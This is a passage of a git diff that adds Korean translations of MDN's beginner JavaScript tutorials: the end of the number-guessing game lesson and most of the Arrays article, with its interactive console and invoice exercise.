+<p>코드를 저장하고 새로고침해보자, 예제가 실행됨을 볼 수 있다.  아직 게임이 종료되면 실행되는 setGameOver() 함수가 정의되지 않았으므로, 정답을 맞췄을때나 추측에 상관없이 실행되었다면 프로그램의 실행이 멈춰야 한다. 필요한 코드를 작성하고 함수를 추가해보자.</p>
+
+<h3 id="함수로_프로그램_종료하기">함수로 프로그램 종료하기</h3>
+
+<p><code>setGameOver()</code>함수를 코드 아래쪽에 추가하고 살펴보자.  자바크스립트 코드의 맨 마지막에 추가하도록 하자.</p>
+
+<pre class="brush: js">function setGameOver() {
+  guessField.disabled = true;
+  guessSubmit.disabled = true;
+  resetButton = document.createElement('button');
+  resetButton.textContent = 'Start new game';
+  document.body.appendChild(resetButton);
+  resetButton.addEventListener('click', resetGame);
+}</pre>
+
+<ul>
+ <li>2-3번 줄은 텍스트 입력과 버튼의 diabled 속성을 true로 함으로써 작동되지  않도록 한다. 그렇지 않다면 사용자들이 게임이 종료된 후에도 계속 정답을 제출할 것이기 때문에 필수적이다. </li>
+ <li>4-6번 줄은 새로운 {{htmlelement("button")}} 엘리먼트를 생성하고, "Start new game"라고 표시되게 지정하고 현재의 HTML 아래쪽에 추가하도록 한다.</li>
+ <li>7번 줄은 새 버튼으로 하여금 이벤트 리스너를 지정하여 클릭되면 <code>resetGame() </code>함수가 실행되도록 한다.</li>
+</ul>
+
+<p>물론 이 함수도 정의해야 한다. 또다시 코드의 가장 아래에 다음 코드를 추가하자.</p>
+
+<pre class="brush: js">function resetGame() {
+  guessCount = 1;
+
+  var resetParas = document.querySelectorAll('.resultParas p');
+  for (var i = 0 ; i &lt; resetParas.length ; i++) {
+    resetParas[i].textContent = '';
+  }
+
+  resetButton.parentNode.removeChild(resetButton);
+
+  guessField.disabled = false;
+  guessSubmit.disabled = false;
+  guessField.value = '';
+  guessField.focus();
+
+  lastResult.style.backgroundColor = 'white';
+
+  randomNumber = Math.floor(Math.random() * 100) + 1;
+}</pre>
+
+<p>앞서 보는 함수 블록 코드는 게임이 어떻게 시작되고 사용자가 다시 시작할 수 있도록 초기화하는 코드이다.</p>
+
+<ul>
+ <li><code>guessCount 변수를 1로 한다.</code></li>
+ <li>표시된 정보를 모두 초기화한다.</li>
+ <li>코드상에서 초기화 버튼을 제거한다.</li>
+ <li>폼 작성을 위해 텍스트를 입력하는 곳을 비워놓고 커서를 위치시킨다.</li>
+ <li><code>lastResult</code>변수 상의 문장<code> </code>배경색을 제거한다.</li>
+ <li>임의의 수를 다시 지정함으로, 앞썬 <code>randomNumber</code>와 겹치지 않도록 다시 설정한다.</li>
+</ul>
+
+<p><strong>축하한다! 이제 여기까지 완료됬다면 프로그램이 정상적으로 작동될 것이다.</strong></p>
+
+<p>이제 살펴볼 것은 코드에서 볼 수 있는 중요한 부분중 하나이다.</p>
+
+<h3 id="반복문">반복문</h3>
+
+<p>위 코드상에서  자세히 살펴볼 것 중 하나는 <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">for</a> 반복문에 관한 부분이다. 반복문은 프로그래머가 지정한 코드의 부분을 조건에 부합할때까지 계속 실행시키는 등 프로그래밍에서 중요한 개념 중 하나이다.</p>
+
+<p>시작에 앞서, <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">browser developer tools JavaScript console</a>에 들어가서, 다음을 입력해보자.</p>
+
+<pre class="brush: js">for (var i = 1 ; i &lt; 21 ; i++) { console.log(i) }</pre>
+
+<p>어떤 일이 일어났는가? 숫자 1부터 20까지 차례대로 콘솔창에 표시됨을 볼 수 있다.이는 반복이라는 컨셉 때문이다. for 반복문에는 세 개의 입력값(아규먼트)이 있다.</p>
+
+<ol>
+ <li><strong>시작값</strong>: 위 코드에서는 1부터 시작하였지만, 프로그래머 임의대로 지정할 수 있다. i 대신 다른 변수를 사용할 수 있지만, 짧고 기억하기 쉬운 관습으로 인해 간단한 알파벳 i가 주로 사용된다.</li>
+ <li><strong>종료 조건</strong>: 여기서는 <code>i &lt; 21 라고 명시되었다. 이는 i가 21보다 작을때까지 반복이 이루어진다는 말이다. i가 21이 되었을 때, 반복은 종료된다.</code></li>
+ <li><strong>증감식</strong>:  <code>i++이라 명시된 것은 i에 1씩 더하라는 의미이다.반복은 i의 값에 따라 i가 21이 될때까지 반복된다</code>. 여기서는 {{domxref("Console.log", "console.log()")}} 를 사용하여 콘솔창에 반복적으로 i의 값을 출력시키는 간단한 예제를 보였다.</li>
+</ol>
+
+<p>숫자 맞추기 프로그램의 앞선 <code>resetGame()</code> 함수에서 반복문을 한 번 살펴보자.</p>
+
+<pre class="brush: js">var resetParas = document.querySelectorAll('.resultParas p');
+for (var i = 0 ; i &lt; resetParas.length ; i++) {
+  resetParas[i].textContent = '';
+}</pre>
+
+<p>이 코드에서는 {{domxref("Document.querySelectorAll", "querySelectorAll()")}} 메소드를 사용하여 <code>&lt;div class="resultParas"&gt;</code>안의 모든 문장들의 배열을 변수로 만들고 있다. 그러고 반복을 통해 각각의 배열 원소에 접근하여, 내용을 제거하게 된다.</p>
+
+<h3 id="객체에_대한_간단한_고찰">객체에 대한 간단한 고찰</h3>
+
+<p>이제 마지막으로 한단계 더 나아갈 수 있는 부분을 배워보자.  <code>var resetButton; </code>아래에 다음 코드를 추가해보자.(코드 위쪽에 있으니 참고하고, 저장까지 해보자)</p>
+
+<pre class="brush: js">guessField.focus();</pre>
+
+<p>여기서는 {{domxref("HTMLElement.focus", "focus()")}} 메소드를 통해 자동으로 커서를 페이지가 뜨자마자 {{htmlelement("input")}} 텍스트 필드에 위치시킬 수 있기때문에, 사용자가 처음에 폼 필드를 클릭할 필요없이 바로 글을 쓸 수 있게 된다. 아무것도 아닌 것처럼 보이지만, 사용자에게 굉장히 편리함을 주기 때문에 프로그램에서 좋은 효과를 가져다 준다.</p>
+
+<p>여기서 이루어지는 일들을 좀 더 자세히 분석해보자. 자바스크립트에서는 모든 것이 객체이다. 객체란 하나의 그룹안에 관계되는 기능(함수)들을 모아놓은 것이다.혼자서 객체를 생성할 수 있겠지만, 아직은 이르기 때문에 나중에 살펴보자. 지금은 간단히 브라우저에 내장된 객체를 사용함으로서 좀 더 많은 일들을 해보는 것에 중점을 두자.</p>
+
+<p><code><font face="Open Sans, Arial, sans-serif">여기서는, 먼저 HTML의 입력 폼 필드의 정보를 저장하는 </font>guessField</code> 변수를 생성해보자. (다음 코드는 맨 위의 변수 선언문에서 볼 수 있다.)</p>
+
+<pre class="brush: js">var guessField = document.querySelector('.guessField');</pre>
+
+<p>이 정보를 얻기 위해, {{domxref("document")}} 객체의 {{domxref("document.querySelector", "querySelector()")}}메소드를 사용한다. <code>querySelector()는 특정 정보(필요한 요소를 추출하는 </code><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Selectors">CSS selector</a>)<code>를 가져오는 역할을 한다.</code></p>
+
+<p><code>이제 </code>{{htmlelement("input")}} 요소의 정보를 담고 있기 때문에, 속성(기본적으로 객체안의 변수나 변수 변경이 없는 경우)과 메소드(기본적으로 객체안의 함수)를 접근할 수 있게 된다. 입력 요소에 이용 가능한 메소드 중 하나가 <code>focus()이며</code>, 따라서 이 메소드를 통해 텍스트 입력에 커서를 가져다 놓을 수 있는 것이다.</p>
+
+<pre class="brush: js">guessField.focus();</pre>
+
+<p>폼 요소의 정보를 가지고 있지 않은 변수는 <code>focus()</code> 를 사용할 수 없다. 예를 들어,  <code>guesses </code>변수는 {{htmlelement("p")}} 요소의 정보를 가지고 있고, <code>guessCount</code> 변수는 단순한 숫자를 포함하고 있다.</p>
+
+<h3 id="브라우저_객체로_다루기">브라우저 객체로 다루기</h3>
+
+<p>이제 브라우저를 객체로서 다뤄보자.</p>
+
+<ol>
+ <li>먼저, 브라우저에서 프로그램을 연다</li>
+ <li>다음 <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">browser developer tools</a>을 실행하고, 자바스크립트 콘솔창을 활성화한다.</li>
+ <li> <code>guessField</code>의 입력과 콘솔에서 {{htmlelement("input")}} 요소를 포함한 변수를 보여줄 것이다. 변수를 포함한 실행환경 상에 존재하는 객체이름을 콘솔이 자동으로 완성하는 것도 알아야한다.</li>
+ <li>다음 코드를 입력하자
+  <pre class="brush: js">guessField.value = 'Hello';</pre>
+  <code>value</code> 속성은 텍스트 필드를 통해 입력되는 현재값을 나타낸다. 커맨드 창에 입력하고 어떤 일이 일어나는지 살펴보자.</li>
+ <li><code>guesses</code>에 입력하고 반환값을 살펴보자. 콘솔 창에서 변수가 {{htmlelement("p")}} 요소가 있음을 보여줄 것이다.</li>
+ <li>다음 코드를 입력하자.
+  <pre class="brush: js">guesses.value</pre>
+  브라우저에서 아무런 문장이 없기 때문에, undefined라고 리턴될 것이다.</li>
+ <li>대신, 다음 코드에서 문자를 변경/추가하기 위해서는 {{domxref("Node.textContent", "textContent")}} 속성을 사용한다.
+  <pre class="brush: js">guesses.textContent = 'Where is my paragraph?';</pre>
+ </li>
+ <li>그러면 이제 다양한 작업을 할 수 있으니, 하나하나 시도해보자.
+  <pre class="brush: js">guesses.style.backgroundColor = 'yellow';
+guesses.style.fontSize = '200%';
+guesses.style.padding = '10px';
+guesses.style.boxShadow = '3px 3px 6px black';</pre>
+  페이지의 모든 요소들을 <code>style</code> 속성을 가지고 있기때문에, 모든 요소에 적용가능한 인라인 CSS 스타일을 포함한 속성을 가진 객체를 포함하고 있음을 알 수 있다. 이는 자바스크립트 상에서 CSS 스타일을 동적으로 지정할 수 있음을 알 수 있다.</li>
+</ol>
+
+<h2 id="결론">결론</h2>
+
+<p>여기까지 예제를 빌드해보는 과정이었다.  마지막으로 작성된 코드를 실행해보거나,<a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/first-splash/number-guessing-game.html">play with our finished version here</a>. 만약 코드가 실행되지 않는다면, <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/first-splash/number-guessing-game-start.html">source code</a>를 참고하자.</p>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/What_is_JavaScript", "Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps")}}</p>
diff --git a/files/ko/learn/javascript/first_steps/arrays/index.html b/files/ko/learn/javascript/first_steps/arrays/index.html
new file mode 100644
index 0000000000..0cc11ca43f
--- /dev/null
+++ b/files/ko/learn/javascript/first_steps/arrays/index.html
@@ -0,0 +1,664 @@
+---
+title: Arrays
+slug: Learn/JavaScript/First_steps/Arrays
+translation_of: Learn/JavaScript/First_steps/Arrays
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps/Silly_story_generator", "Learn/JavaScript/First_steps")}}</div>
+
+<p class="summary">배열은 하나의 변수에 다수의 데이터를 저장하는 좋은 방법이며, 이 글에서 배열의 생성, 검색, 추가, 삭제 등과 같은 내용을 통해 배열에 대해 알아볼 것입니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선행요소:</th>
+   <td>기초 컴퓨터 활용지식, HTML, CSS 그리고 JavaScript에 대한 기초 지식.</td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>배열이 무엇인지 이해를 하고 JavaScript에서 어떻게 활용하는지 배운다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="배열이란">배열이란?</h2>
+
+<p>배열은 다수의 변수들을 가지고 있는 하나의 객체이다("list-like objects"). 배열 객체는 변수에 저장 해서 사용 할 수 있고, 변수에 저장된 다른 값들과 거의 동일한 방식으로 쓸 수 있다. 일반적인 값들과 배열의 다른점은 내부의 값에 각각 접근할 수 있으며, 루프를 통해 매우 효율적으로 작업이 가능하다는 것이다. 예를 들어 우리가 흔히 보는 영수증의 제품목록, 가격 등이 배열이라고 볼 수 있으며 그 가격들의 총합을 루프를 통하여 구할 수 있다.</p>
+
+<p>만약 배열이 없다면 다수의 값이 있을 때 각 값의 하나의 변수에 일일이 저장해야 하는 문제가 생길 것이며, 해당 값들을 출력하거나 연산할 때 한땀한땀 개고생 해야한다. 이때문에 코드를 작성하는데 오래걸리며, 비효율적이고 실수를 할 가능성이 높아진다. 오늘 산 물건이 10개 정도라면 값을 더하는데 얼마 걸리지 않겠지만, 100개나 1000개 쯤 구입을 했다면? 잠은 다잔거다.</p>
+
+<p>이전에 배웠던 것처럼, JavaScript 콘솔에서 몇가지 예제를 통해 배열의 쌩기초 부터 알아보자. 아래에 우리가 제공하는 콘솔이 하나 있다.(<a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html">이 콘솔</a>을 새 탭이나 창을 열어서 사용 하거나, 당신이 선호하는 <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">개발자 콘솔</a>을 사용하면된다.)</p>
+
+<div class="hidden">
+<h6 id="Hidden_code">Hidden code</h6>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;JavaScript console&lt;/title&gt;
+    &lt;style&gt;
+      * {
+        box-sizing: border-box;
+      }
+
+      html {
+        background-color: #0C323D;
+        color: #809089;
+        font-family: monospace;
+      }
+
+      body {
+        max-width: 700px;
+      }
+
+      p {
+        margin: 0;
+        width: 1%;
+        padding: 0 1%;
+        font-size: 16px;
+        line-height: 1.5;
+        float: left;
+      }
+
+      .input p {
+        margin-right: 1%;
+      }
+
+      .output p {
+        width: 100%;
+      }
+
+      .input input {
+        width: 96%;
+        float: left;
+        border: none;
+        font-size: 16px;
+        line-height: 1.5;
+        font-family: monospace;
+        padding: 0;
+        background: #0C323D;
+        color: #809089;
+      }
+
+      div {
+        clear: both;
+      }
+
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+
+
+  &lt;/body&gt;
+
+  &lt;script&gt;
+    var geval = eval;
+    function createInput() {
+      var inputDiv = document.createElement('div');
+      var inputPara = document.createElement('p');
+      var inputForm = document.createElement('input');
+
+      inputDiv.setAttribute('class','input');
+      inputPara.textContent = '&gt;';
+      inputDiv.appendChild(inputPara);
+      inputDiv.appendChild(inputForm);
+      document.body.appendChild(inputDiv);
+
+      if(document.querySelectorAll('div').length &gt; 1) {
+        inputForm.focus();
+      }
+
+      inputForm.addEventListener('change', executeCode);
+    }
+
+    function executeCode(e) {
+      try {
+        var result = geval(e.target.value);
+      } catch(e) {
+        var result = 'error — ' + e.message;
+      }
+
+      var outputDiv = document.createElement('div');
+      var outputPara = document.createElement('p');
+
+      outputDiv.setAttribute('class','output');
+      outputPara.textContent = 'Result: ' + result;
+      outputDiv.appendChild(outputPara);
+      document.body.appendChild(outputDiv);
+
+      e.target.disabled = true;
+      e.target.parentNode.style.opacity = '0.5';
+
+      createInput()
+    }
+
+    createInput();
+
+  &lt;/script&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Hidden_code', '100%', 300, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h3 id="배열_만들기">배열 만들기</h3>
+
+<p>배열은 대괄호로 구성되며 쉼표로 구분 된 항목들을 포함합니다.</p>
+
+<ol>
+ <li>쇼핑 목록을 배열에 저장하고 싶다면 다음과 같이하면됩니다. 콘솔에 다음 행을 입력하십시오.
+  <pre class="brush: js">var shopping = ['bread', 'milk', 'cheese', 'hummus', 'noodles'];
+shopping;</pre>
+ </li>
+ <li>아래 배열의 각 항목은 문자열이지만 배열의 모든 항목 (문자열, 숫자, 개체, 다른 변수, 심지어 다른 배열)을 저장할 수 있습니다. 동일한 형태의 항목만 넣거나(아래 sequence처럼)  다양한 형태의 항목을 함께 넣을수(아래 random 처럼) 있습니다. 모두 숫자, 문자열 등일 필요는 없습니다. 다음을 입력해보세요.
+  <pre class="brush: js">var sequence = [1, 1, 2, 3, 5, 8, 13];
+var random = ['tree', 795, [0, 1, 2]];</pre>
+ </li>
+ <li>다음으로 넘어가기 전 여러분 마음대로 배열을 만들어 보세요</li>
+</ol>
+
+<h3 id="배열_항목의_접근과_수정">배열 항목의 접근과 수정 </h3>
+
+<p>그런 다음 <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods#Retrieving_a_specific_string_character">문자열의 문자에 접근했던 것</a>과 같은 방법으로 괄호 표기법을 사용하여 배열의 개별 항목을 접근 할 수 있습니다.</p>
+
+<ol>
+ <li>콘솔에 다음을 입력하세요:
+  <pre class="brush: js">shopping[0];
+// returns "bread"</pre>
+ </li>
+ <li>단일 배열 항목에 새 값을 제공하여, 배열의 항목을 수정할 수도 있습니다.<br>
+  한번 해보세요 :
+  <pre class="brush: js">shopping[0] = 'tahini';
+shopping;
+// shopping will now return [ "tahini", "milk", "cheese", "hummus", "noodles" ]</pre>
+
+  <div class="note"><strong>참고</strong>: 전에도 말했지만, 컴퓨터는 숫자를 셀때 0 부터 시작한다!</div>
+ </li>
+ <li>배열 내부의 배열을 다중배열이라고 합니다.대괄호 두개를 함께 연결하여 다른 배열 안에있는 배열 내부의 항목에 접근 할 수 있습니다.예를 들어 <code>무작위</code> 배열(<code>random</code> array) 안의 세 번째 항목 인 배열 내부 항목 중 하나에 접근하려면(앞 섹션 참조) 다음과 같이 할 수 있습니다.:
+  <pre class="brush: js">random[2][2];</pre>
+ </li>
+ <li>다음 단계로 넘어가기 전에 충분히 배열 예제를 연습해보세요.</li>
+</ol>
+
+<h3 id="배열의_갯수_알아내기">배열의 갯수 알아내기</h3>
+
+<p>{{jsxref("Array.prototype.length","length")}} 속성을 사용해서 배열에 들어 있는 문자열의 갯수를 알아낼 수 있다.(갯수가 얼마나 많이 있던지) 다음을 보자.:</p>
+
+<pre class="brush: js">sequence.length;
+// should return 7</pre>
+
+<p>다른 용도로 사용되기도 하는데, loop문으로 배열의 모든 항목을 반복적으로 값을 대입하는데 일반적으로 사용한다. 예를 들면:</p>
+
+<pre class="brush: js">var sequence = [1, 1, 2, 3, 5, 8, 13];
+for (var i = 0; i &lt; sequence.length; i++) {
+  console.log(sequence[i]);
+}</pre>
+
+<p>다음 article에서 반복문에 대해서 자세히 다루겠지만 다음과 같이 요약할 수 있다.</p>
+
+<ol>
+ <li>배열을 반복문으로 돌릴때 item의 시작번호는 0 입니다.</li>
+ <li>배열의 갯수와 같은 번호일때 반복문을 중단하세요. 어떤 길이의 배열에서도 반복문이 돌지만, 이 경우에선 반복문이 7번 돌고 멈춥니다.(반복문을 끝내기를 원하는 마지막 item의 숫자는 6입니다.)</li>
+ <li>각각의 item에 대해 <code>console.log()</code>을 사용해 브라우저 콘솔창으로 확인해보세요.</li>
+</ol>
+
+<h2 id="유용한_배열_method">유용한 배열 method</h2>
+
+<p>이번 섹션에서는 문자열을 배열 항목으로 분할하고, 다시 배열 항목을 문자열로 변환하며 새로운 항목을 배열에 추가할 수 있는 배열 관련 method를 알아봅니다.</p>
+
+<h3 id="문자열을_배열로_배열을_문자열로_변환하기">문자열을 배열로, 배열을 문자열로 변환하기</h3>
+
+<p>프로그램을 만들다보면 종종 긴 문자열로 이루어진 원시 데이터를 제공받게 될 것이고, 원시 데이터를 정제하여 더 유용한 데이터를 추출해 테이블 형태로 표시하는 등 작업을 수행해야 합니다. 이러한 작업을 위해 {{jsxref("String.prototype.split()","split()")}} method를 사용할 수 있습니다.  {{jsxref("String.prototype.split()","split()")}} method는 사용자가 원하는 매개변수로 문자열을 분리하여 배열로 표현해줍니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 사실 String method이지만, 배열과 함께 사용하기 때문에 여기에 넣었습니다.</p>
+</div>
+
+<ol>
+ <li>{{jsxref("String.prototype.split()","split()")}} method가 어떻게 작동하는지 살펴봅시다. 우선 콘솔에서 아래와 같은 문자열을 만듭니다:
+  <pre class="brush: js">var myData = 'Manchester,London,Liverpool,Birmingham,Leeds,Carlisle';</pre>
+ </li>
+ <li>콤마로 분리하기 위해 단일 매개변수를 집어넣습니다.:
+  <pre class="brush: js">var myArray = myData.split(',');
+myArray;</pre>
+ </li>
+ <li>마지막으로 새로운 배열의 길이를 찾고 이 배열에서 몇 가지 항목을 검색해 봅니다.:
+  <pre class="brush: js">myArray.length;
+myArray[0]; // the first item in the array
+myArray[1]; // the second item in the array
+myArray[myArray.length-1]; // the last item in the array</pre>
+ </li>
+ <li>또한 아래 방법처럼 {{jsxref("Array.prototype.join()","join()")}} method를 사용하여 배열을 다시 문자열로 만들 수 있습니다. :
+  <pre class="brush: js">var myNewString = myArray.join(',');
+myNewString;</pre>
+ </li>
+ <li>배열을 문자열로 변환하는 또 다른 방법은 {{jsxref("Array.prototype.toString()","toString()")}} method를 사용하는 것 입니다. <code>toString()</code> 은 <code>join()</code> 과 달리 매개변수가 필요 없어서 더 간단하지만, 제한이 더 많습니다. <code>join()</code> 을 사용하면 다른 구분자를 지정할 수 있습니다. (콤마 말고 다른 매개변수를 사용하여 4단계를 실행 해보세요.)
+  <pre class="brush: js">var dogNames = ['Rocket','Flash','Bella','Slugger'];
+dogNames.toString(); //Rocket,Flash,Bella,Slugger</pre>
+ </li>
+</ol>
+
+<h3 id="배열에_item을_추가하고_제거하기">배열에 item을 추가하고 제거하기</h3>
+
+<p>이번엔 배열에 item을 추가하고 제거하는 방법을 알아볼 차례 입니다. 위에서 만든 <code>myArray</code> 를 다시 사용하겠습니다. 섹션을 순서대로 진행하지 않았다면 아래와 같은 배열을 만들어주세요.:</p>
+
+<pre class="brush: js">var myArray = ['Manchester', 'London', 'Liverpool', 'Birmingham', 'Leeds', 'Carlisle'];</pre>
+
+<p>먼저, 배열의 맨 끝에 item을 추가하거나 제거하기 위해 각각{{jsxref("Array.prototype.push()","push()")}} and {{jsxref("Array.prototype.pop()","pop()")}} 를 사용할 수 있습니다.</p>
+
+<ol>
+ <li>먼저 <code>push()</code> 를 사용합니다. — 배열의 끝에 추가할 item을 반드시 하나 이상 포함해야 한다는 점을 기억하고 아래와 같이 따라해보세요:
+
+  <pre class="brush: js">myArray.push('Cardiff');
+myArray;
+myArray.push('Bradford', 'Brighton');
+myArray;
+</pre>
+ </li>
+ <li>method 호출이 완료되면 배열의 item이 변한것을 확인할 수 있습니다. 새로운 변수에 배열을 저장하려면 아래와 같이 사용합니다.:
+  <pre class="brush: js">var newLength = myArray.push('Bristol');
+myArray;
+newLength;</pre>
+ </li>
+ <li>배열의 마지막 item을 제거하는 방법은 <code>pop()</code>으로 매우 간단합니다. 아래와 같이 따라해보세요:
+  <pre class="brush: js">myArray.pop();</pre>
+ </li>
+ <li>method호출이 완료되면 배열에서 item이 제거된 것을 확인할 수 있습니다. 아래 방법을 사용하여 제거될 item을 변수에 저장할 수 있습니다.:
+  <pre class="brush: js">var removedItem = myArray.pop();
+myArray;
+removedItem;</pre>
+ </li>
+</ol>
+
+<p>{{jsxref("Array.prototype.unshift()","unshift()")}} 와{{jsxref("Array.prototype.shift()","shift()")}}는 <code>push()</code> 와 <code>pop()</code>과 유사하게 동작합니다. 다만, 배열의 맨 끝이 아닌 제일 처음 부분의 item을 추가하거나 제거합니다..</p>
+
+<ol>
+ <li>먼저 <code>unshift()</code> 를 사용해봅니다.:
+
+  <pre class="brush: js">myArray.unshift('Edinburgh');
+myArray;</pre>
+ </li>
+ <li>이제 <code>shift()</code>를 사용해봅니다.!
+  <pre class="brush: js">var removedItem = myArray.shift();
+myArray;
+removedItem;</pre>
+ </li>
+</ol>
+
+<h2 id="Active_learning_Printing_those_products!">Active learning: Printing those products!</h2>
+
+<p>Let's return to the example we described earlier — printing out product names and prices on an invoice, then totaling the prices and printing them at the bottom. In the editable example below there are comments containing numbers — each of these marks a place where you have to add something to the code. They are as follows:</p>
+
+<ol>
+ <li>Below the <code>// number 1</code> comment are a number of strings, each one containing a product name and price separated by a colon. We'd like you to turn this into an array and store it in an array called <code>products</code>.</li>
+ <li>On the same line as the <code>// number 2</code> comment is the beginning of a for loop. In this line we currently have <code>i &lt;= 0</code>, which is a conditional test that causes the <a href="/en-US/Learn/JavaScript/First_steps/A_first_splash#Loops">for loop</a> to stop immediately, because it is saying "stop when <code>i</code> is no longer less than or equal to 0", and <code>i</code> starts at 0. We'd like you to replace this with a conditional test that stops the loop when <code>i</code> is no longer less than the <code>products</code> array's length.</li>
+ <li>Just below the <code>// number 3</code> comment we want you to write a line of code that splits the current array item (<code>name:price</code>) into two separate items, one containing just the name and one containing just the price. If you are not sure how to do this, consult the <a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods">Useful string methods</a> article for some help, or even better, look at the {{anch("Converting between strings and arrays")}} section of this article.</li>
+ <li>As part of the above line of code, you'll also want to convert the price from a string to a number. If you can't remember how to do this, check out the <a href="/en-US/Learn/JavaScript/First_steps/Strings#Numbers_versus_strings">first strings article</a>.</li>
+ <li>There is a variable called <code>total</code> that is created and given a value of 0 at the top of the code. Inside the loop (below <code>// number 4</code>) we want you to add a line that adds the current item price to that total in each iteration of the loop, so that at the end of the code the correct total is printed onto the invoice. You might need an <a href="/en-US/Learn/JavaScript/First_steps/Math#Assignment_operators">assignment operator</a> to do this.</li>
+ <li>We want you to change the line just below <code>// number 5</code> so that the <code>itemText</code> variable is made equal to "current item name — $current item price", for example "Shoes — $23.99" in each case, so the correct information for each item is printed on the invoice. This is just simple string concatenation, which should be familiar to you.</li>
+</ol>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;h2&gt;Live output&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 150px;"&gt;
+
+&lt;ul&gt;
+
+&lt;/ul&gt;
+
+&lt;p&gt;&lt;/p&gt;
+
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+
+&lt;textarea id="code" class="playable-code" style="height: 410px;width: 95%"&gt;
+var list = document.querySelector('.output ul');
+var totalBox = document.querySelector('.output p');
+var total = 0;
+list.innerHTML = '';
+totalBox.textContent = '';
+// number 1
+                'Underpants:6.99'
+                'Socks:5.99'
+                'T-shirt:14.99'
+                'Trousers:31.99'
+                'Shoes:23.99';
+
+for (var i = 0; i &lt;= 0; i++) { // number 2
+  // number 3
+
+  // number 4
+
+  // number 5
+  itemText = 0;
+
+  var listItem = document.createElement('li');
+  listItem.textContent = itemText;
+  list.appendChild(listItem);
+}
+
+totalBox.textContent = 'Total: $' + total.toFixed(2);
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: js">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = jsSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
+var jsSolution = 'var list = document.querySelector(\'.output ul\');\nvar totalBox = document.querySelector(\'.output p\');\nvar total = 0;\nlist.innerHTML = \'\';\ntotalBox.textContent = \'\';\n\nvar products = [\'Underpants:6.99\',\n \'Socks:5.99\',\n \'T-shirt:14.99\',\n \'Trousers:31.99\',\n \'Shoes:23.99\'];\n\nfor(var i = 0; i &lt; products.length; i++) {\n var subArray = products[i].split(\':\');\n var name = subArray[0];\n var price = Number(subArray[1]);\n total += price;\n itemText = name + \' — $\' + price;\n\n var listItem = document.createElement(\'li\');\n listItem.textContent = itemText;\n list.appendChild(listItem);\n}\n\ntotalBox.textContent = \'Total: $\' + total.toFixed(2);';
+var solutionEntry = jsSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+
+<pre class="brush: css">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background-color: #f5f9fa;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', '100%', 730, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h2 id="실습_Top_5_searches">실습: Top 5 searches</h2>
+
